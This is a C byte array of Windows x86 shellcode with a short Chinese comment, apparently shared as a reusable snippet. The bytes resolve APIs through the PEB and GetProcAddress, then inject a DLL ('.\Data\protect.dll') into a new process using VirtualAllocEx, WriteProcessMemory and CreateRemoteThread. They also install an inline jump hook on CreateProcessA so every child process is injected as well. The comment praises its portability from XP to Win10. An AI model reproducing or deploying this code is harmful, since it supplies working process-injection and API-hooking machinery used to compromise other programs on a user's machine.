unsigned char bShellCode[] =
{
0x33, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B,
0x7E, 0x20, 0x8B, 0x36, 0x38, 0x4F, 0x18, 0x75, 0xF3, 0x55, 0x8B, 0xE8, 0x8B, 0x45, 0x3C, 0x8B,
0x54, 0x05, 0x78, 0x03, 0xD5, 0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x03, 0xDD, 0x49, 0x8B, 0x34,
0x8B, 0x03, 0xF5, 0xB8, 0x47, 0x65, 0x74, 0x50, 0x39, 0x06, 0x75, 0xF1, 0xB8, 0x72, 0x6F, 0x63,
0x41, 0x39, 0x46, 0x04, 0x75, 0xE7, 0x8B, 0x5A, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x0C, 0x4B, 0x8B,
0x5A, 0x1C, 0x03, 0xDD, 0x8B, 0x04, 0x8B, 0x03, 0xC5, 0x8B, 0xF0, 0x6A, 0x00, 0x68, 0x73, 0x41,
0x00, 0x00, 0x68, 0x6F, 0x63, 0x65, 0x73, 0x68, 0x74, 0x65, 0x50, 0x72, 0x68, 0x43, 0x72, 0x65,
0x61, 0x54, 0x55, 0xFF, 0xD6, 0x83, 0xC4, 0x14, 0x83, 0xC0, 0x2C, 0x80, 0x38, 0x5D, 0x0F, 0x85,
0xAB, 0x03, 0x00, 0x00, 0x80, 0x78, 0x01, 0xC2, 0x0F, 0x85, 0xA1, 0x03, 0x00, 0x00, 0x80, 0x78,
0x02, 0x28, 0x0F, 0x85, 0x97, 0x03, 0x00, 0x00, 0x8B, 0xF8, 0xE8, 0x88, 0x03, 0x00, 0x00, 0x8D,
0x40, 0x08, 0xE9, 0xEE, 0x03, 0x00, 0x00, 0x60, 0x9C, 0x33, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B,
0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x38, 0x4F, 0x18,
0x75, 0xF3, 0x55, 0x8B, 0xE8, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x03, 0xD5, 0x8B, 0x4A,
0x18, 0x8B, 0x5A, 0x20, 0x03, 0xDD, 0x49, 0x8B, 0x34, 0x8B, 0x03, 0xF5, 0xB8, 0x47, 0x65, 0x74,
0x50, 0x39, 0x06, 0x75, 0xF1, 0xB8, 0x72, 0x6F, 0x63, 0x41, 0x39, 0x46, 0x04, 0x75, 0xE7, 0x8B,
0x5A, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x03, 0xDD, 0x8B, 0x04, 0x8B,
0x03, 0xC5, 0x8B, 0xF0, 0x6A, 0x00, 0x68, 0x72, 0x65, 0x61, 0x64, 0x68, 0x6D, 0x65, 0x54, 0x68,
0x68, 0x52, 0x65, 0x73, 0x75, 0x54, 0x55, 0xFF, 0xD6, 0x83, 0xC4, 0x10, 0x8B, 0xF8, 0xE8, 0x04,
0x03, 0x00, 0x00, 0x8D, 0x40, 0x08, 0xE9, 0x84, 0x02, 0x00, 0x00, 0x60, 0x9C, 0x33, 0xC9, 0x64,
0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B,
0x36, 0x38, 0x4F, 0x18, 0x75, 0xF3, 0x55, 0x8B, 0xE8, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78,
0x03, 0xD5, 0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x03, 0xDD, 0x49, 0x8B, 0x34, 0x8B, 0x03, 0xF5,
0xB8, 0x47, 0x65, 0x74, 0x50, 0x39, 0x06, 0x75, 0xF1, 0xB8, 0x72, 0x6F, 0x63, 0x41, 0x39, 0x46,
0x04, 0x75, 0xE7, 0x8B, 0x5A, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x03,
0xDD, 0x8B, 0x04, 0x8B, 0x03, 0xC5, 0x8B, 0xF0, 0x6A, 0x00, 0x68, 0x45, 0x78, 0x00, 0x00, 0x68,
0x6C, 0x6C, 0x6F, 0x63, 0x68, 0x75, 0x61, 0x6C, 0x41, 0x68, 0x56, 0x69, 0x72, 0x74, 0x54, 0x55,
0xFF, 0xD6, 0x83, 0xC4, 0x14, 0x8B, 0xC8, 0x6A, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0x68, 0x04,
0x01, 0x00, 0x00, 0x6A, 0x00, 0xE8, 0x6D, 0x02, 0x00, 0x00, 0x8D, 0x80, 0xDE, 0x01, 0x00, 0x00,
0x2E, 0xFF, 0x30, 0xFF, 0xD1, 0x85, 0xC0, 0x0F, 0x84, 0x3E, 0x03, 0x00, 0x00, 0x50, 0x50, 0x50,
0x6A, 0x00, 0x68, 0x72, 0x79, 0x00, 0x00, 0x68, 0x4D, 0x65, 0x6D, 0x6F, 0x68, 0x63, 0x65, 0x73,
0x73, 0x68, 0x65, 0x50, 0x72, 0x6F, 0x68, 0x57, 0x72, 0x69, 0x74, 0x54, 0x55, 0xFF, 0xD6, 0x83,
0xC4, 0x18, 0x8B, 0xD0, 0x59, 0x6A, 0x00, 0x68, 0x6C, 0x6C, 0x00, 0x00, 0x68, 0x63, 0x74, 0x2E,
0x64, 0x68, 0x72, 0x6F, 0x74, 0x65, 0x68, 0x74, 0x61, 0x5C, 0x70, 0x68, 0x2E, 0x5C, 0x44, 0x61,
0x8B, 0xDC, 0x6A, 0x00, 0x6A, 0x12, 0x53, 0x51, 0xE8, 0x0A, 0x02, 0x00, 0x00, 0x8D, 0x80, 0x7B,
0x01, 0x00, 0x00, 0x2E, 0xFF, 0x30, 0xFF, 0xD2, 0x83, 0xC4, 0x18, 0x85, 0xC0, 0x0F, 0x84, 0xD8,
0x02, 0x00, 0x00, 0x6A, 0x00, 0x68, 0x61, 0x72, 0x79, 0x41, 0x68, 0x4C, 0x69, 0x62, 0x72, 0x68,
0x4C, 0x6F, 0x61, 0x64, 0x54, 0x55, 0xFF, 0xD6, 0x83, 0xC4, 0x10, 0x50, 0x6A, 0x00, 0x68, 0x61,
0x64, 0x00, 0x00, 0x68, 0x54, 0x68, 0x72, 0x65, 0x68, 0x6D, 0x6F, 0x74, 0x65, 0x68, 0x74, 0x65,
0x52, 0x65, 0x68, 0x43, 0x72, 0x65, 0x61, 0x54, 0x55, 0xFF, 0xD6, 0x83, 0xC4, 0x18, 0x8B, 0xD8,
0x59, 0x5A, 0x6A, 0x00, 0x6A, 0x00, 0x52, 0x51, 0x6A, 0x00, 0x6A, 0x00, 0xE8, 0xA6, 0x01, 0x00,
0x00, 0x8D, 0x80, 0x17, 0x01, 0x00, 0x00, 0x2E, 0xFF, 0x30, 0xFF, 0xD3, 0x85, 0xC0, 0x0F, 0x84,
0x77, 0x02, 0x00, 0x00, 0x50, 0x50, 0x6A, 0x00, 0x68, 0x65, 0x63, 0x74, 0x00, 0x68, 0x65, 0x4F,
0x62, 0x6A, 0x68, 0x69, 0x6E, 0x67, 0x6C, 0x68, 0x46, 0x6F, 0x72, 0x53, 0x68, 0x57, 0x61, 0x69,
0x74, 0x54, 0x55, 0xFF, 0xD6, 0x83, 0xC4, 0x18, 0x59, 0x6A, 0xFF, 0x51, 0xFF, 0xD0, 0x6A, 0x00,
0x68, 0x64, 0x6C, 0x65, 0x00, 0x68, 0x65, 0x48, 0x61, 0x6E, 0x68, 0x43, 0x6C, 0x6F, 0x73, 0x54,
0x55, 0xFF, 0xD6, 0x83, 0xC4, 0x10, 0x59, 0x51, 0xFF, 0xD0, 0x6A, 0x00, 0x6A, 0x78, 0x68, 0x72,
0x65, 0x65, 0x45, 0x68, 0x75, 0x61, 0x6C, 0x46, 0x68, 0x56, 0x69, 0x72, 0x74, 0x54, 0x55, 0xFF,
0xD6, 0x83, 0xC4, 0x14, 0x8B, 0xD8, 0x59, 0x68, 0x00, 0x40, 0x00, 0x00, 0x68, 0x04, 0x01, 0x00,
0x00, 0x51, 0xE8, 0x20, 0x01, 0x00, 0x00, 0x8D, 0x80, 0x91, 0x00, 0x00, 0x00, 0x2E, 0xFF, 0x30,
0xFF, 0xD3, 0x6A, 0x00, 0x68, 0x72, 0x65, 0x61, 0x64, 0x68, 0x6D, 0x65, 0x54, 0x68, 0x68, 0x52,
0x65, 0x73, 0x75, 0x54, 0x55, 0xFF, 0xD6, 0x83, 0xC4, 0x10, 0x8B, 0xD8, 0x83, 0xC3, 0x05, 0xE8,
0xF3, 0x00, 0x00, 0x00, 0x8D, 0x40, 0x5A, 0x90, 0x90, 0x90, 0x50, 0x2B, 0xD8, 0x83, 0xEB, 0x05,
0x53, 0x6A, 0x00, 0x68, 0x72, 0x79, 0x00, 0x00, 0x68, 0x4D, 0x65, 0x6D, 0x6F, 0x68, 0x63, 0x65,
0x73, 0x73, 0x68, 0x65, 0x50, 0x72, 0x6F, 0x68, 0x57, 0x72, 0x69, 0x74, 0x54, 0x55, 0xFF, 0xD6,
0x83, 0xC4, 0x18, 0x5B, 0x59, 0x83, 0xEC, 0x05, 0xC7, 0x04, 0x24, 0xE9, 0x00, 0x00, 0x00, 0x89,
0x5C, 0x24, 0x01, 0x8B, 0xDC, 0x6A, 0x00, 0x6A, 0x05, 0x53, 0x51, 0x6A, 0xFF, 0xFF, 0xD0, 0x83,
0xC4, 0x05, 0x5D, 0x9D, 0x61, 0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x8B,
0xDF, 0x2B, 0xC3, 0x83, 0xE8, 0x05, 0x8B, 0xD8, 0x6A, 0x00, 0x68, 0x72, 0x79, 0x00, 0x00, 0x68,
0x4D, 0x65, 0x6D, 0x6F, 0x68, 0x63, 0x65, 0x73, 0x73, 0x68, 0x65, 0x50, 0x72, 0x6F, 0x68, 0x57,
0x72, 0x69, 0x74, 0x54, 0x55, 0xFF, 0xD6, 0x83, 0xC4, 0x18, 0x50, 0x83, 0xEC, 0x05, 0xC7, 0x04,
0x24, 0xE9, 0x00, 0x00, 0x00, 0x89, 0x5C, 0x24, 0x01, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x8B, 0xDC, 0x6A, 0x00, 0x6A, 0x05, 0x53, 0x57, 0x6A, 0xFF, 0xFF, 0xD0, 0x83, 0xC4, 0x05,
0x5A, 0xE8, 0x21, 0x00, 0x00, 0x00, 0x8D, 0x40, 0x92, 0x90, 0x90, 0x90, 0x6A, 0x00, 0x6A, 0x04,
0xFF, 0x74, 0x24, 0x5C, 0x90, 0x90, 0x50, 0x6A, 0xFF, 0xFF, 0xD2, 0x5D, 0x9D, 0x61, 0x5D, 0xC2,
0x28, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x8B, 0x04, 0x24, 0xC3, 0x90, 0x90, 0x90, 0x90, 0x6A,
0x00, 0x68, 0x64, 0x6C, 0x65, 0x41, 0x68, 0x65, 0x48, 0x61, 0x6E, 0x68, 0x6F, 0x64, 0x75, 0x6C,
0x68, 0x47, 0x65, 0x74, 0x4D, 0x54, 0x55, 0xFF, 0xD6, 0x83, 0xC4, 0x14, 0x6A, 0x00, 0x68, 0x6C,
0x6C, 0x00, 0x00, 0x68, 0x73, 0x65, 0x2E, 0x64, 0x68, 0x65, 0x6C, 0x42, 0x61, 0x68, 0x4B, 0x65,
0x72, 0x6E, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x14, 0x6A, 0x00, 0x68, 0x73, 0x41, 0x00, 0x00, 0x68,
0x6F, 0x63, 0x65, 0x73, 0x68, 0x74, 0x65, 0x50, 0x72, 0x68, 0x43, 0x72, 0x65, 0x61, 0x54, 0x50,
0xFF, 0xD6, 0x83, 0xC4, 0x14, 0x83, 0xC0, 0x2C, 0x8B, 0xF8, 0xE8, 0x98, 0xFF, 0xFF, 0xFF, 0x8D,
0x80, 0x18, 0xFC, 0xFF, 0xFF, 0x8B, 0xDF, 0x2B, 0xC3, 0x83, 0xE8, 0x05, 0x8B, 0xD8, 0x6A, 0x00,
0x68, 0x72, 0x79, 0x00, 0x00, 0x68, 0x4D, 0x65, 0x6D, 0x6F, 0x68, 0x63, 0x65, 0x73, 0x73, 0x68,
0x65, 0x50, 0x72, 0x6F, 0x68, 0x57, 0x72, 0x69, 0x74, 0x54, 0x55, 0xFF, 0xD6, 0x83, 0xC4, 0x18,
0x83, 0xEC, 0x05, 0xC7, 0x04, 0x24, 0xE9, 0x00, 0x00, 0x00, 0x89, 0x5C, 0x24, 0x01, 0x8B, 0xDC,
0x6A, 0x00, 0x6A, 0x05, 0x53, 0x57, 0x6A, 0xFF, 0xFF, 0xD0, 0x83, 0xC4, 0x05, 0x5D, 0x90, 0x90,
0x90, 0x90,
0xE9, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0,
};
此ShellCode内部还做了其他功能,有价值的部分主要是其能够在全系统(XP~Win10)调用函数。相比《0day安全:软件漏洞分析技术》王清书中的那段ShellCode获取函数的要方便,王清书里的在XP和64系统之间不通用。